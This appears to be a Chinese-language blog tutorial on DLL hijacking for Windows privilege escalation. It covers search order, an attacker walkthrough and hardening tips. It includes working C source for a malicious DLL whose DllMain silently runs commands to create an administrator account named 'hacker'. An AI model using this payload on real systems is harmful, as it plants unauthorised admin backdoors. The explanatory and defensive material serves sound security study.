深入浅出：Windows系统DLL劫持提权原理

最新推荐文章于 2025-05-17 19:02:56 发布

洋洋喜欢喝水

最新推荐文章于 2025-05-17 19:02:56 发布

阅读量807

点赞数 27

文章标签： windows DLL 提权

本文链接：https://blog.csdn.net/w2361734601/article/details/147993006

版权

引言

在Windows安全领域，DLL劫持（DLL Hijacking）是一种经典的权限提升技术。攻击者通过“偷梁换柱”的方式，诱使高权限进程加载恶意DLL，从而以系统级权限执行任意代码。本文将用通俗易懂的方式解析其原理，并演示一个实战案例。

一、DLL劫持的核心原理

1.1 什么是DLL？

DLL（Dynamic Link Library）是Windows程序的共享库，包含可被多个程序调用的函数。例如，系统API MessageBox 实际来自 user32.dll。

2.2 DLL搜索机制漏洞

当程序调用DLL时，Windows默认按以下顺序搜索：

1. 应用程序所在目录
2. 当前工作目录（CWD）
3. 系统目录（System32）
4. 其他系统路径

漏洞点：若攻击者将恶意DLL放在程序目录或CWD中，系统将优先加载它而非合法系统DLL。

二、为何DLL劫持能提权？

2.1 高权限进程的诱惑

Windows中某些进程（如服务、计划任务）以SYSTEM或管理员权限运行。若这些进程存在DLL劫持漏洞，恶意DLOAD的代码将继承其高权限。

2.2 攻击者视角

目标选择：寻找以高权限运行且存在DLL加载缺陷的程序。
路径欺骗：通过控制DLL路径（如可写的程序目录），植入恶意DLL。
代码执行：DLL中的恶意代码（如反向Shell）获得提权后的权限。

三、实战：DLL劫持提权五步曲

3.1 环境准备

工具：Process Monitor（ProcMon）、Visual Studio
目标：假设存在漏洞的服务程序 C:\Vulnerable\Service.exe

3.2 步骤详解

步骤1：监控DLL加载行为

使用ProcMon过滤进程名为 Service.exe，操作结果为 NAME NOT FOUND 的DLL。
关键发现：服务尝试加载 C:\Vulnerable\missing.dll，但该文件不存在。

步骤2：制作恶意DLL

// missing.c

#include <windows.h>

extern "C" __declspec(dllexport) void FakeFunc() { /* 转发函数 */ }

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {

if (fdwReason == DLL_PROCESS_ATTACH) {

WinExec("cmd.exe /c net user hacker P@ssw0rd /add", SW_HIDE);

WinExec("cmd.exe /c net localgroup administrators hacker /add", SW_HIDE); }

return TRUE;

}

编译生成 missing.dll，确保导出函数与原始DLL一致（可通过工具DLL Export Viewer查看）。

步骤3：放置恶意DLL

将 missing.dll 复制到 C:\Vulnerable\，覆盖或利用不存在的DLL路径。

步骤4：触发高权限进程

重启服务或等待服务重新启动，恶意DLL被加载。

步骤5：验证提权

检查是否成功创建管理员账户 hacker。

四、防御之道：加固系统安全

启用安全DLL搜索模式：

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1
绝对路径加载DLL：

LoadLibrary(L"C:\\Windows\\System32\\legit.dll");
数字签名验证：使用工具Sigcheck检查DLL合法性。
权限最小化：限制关键目录（如Program Files）的写入权限。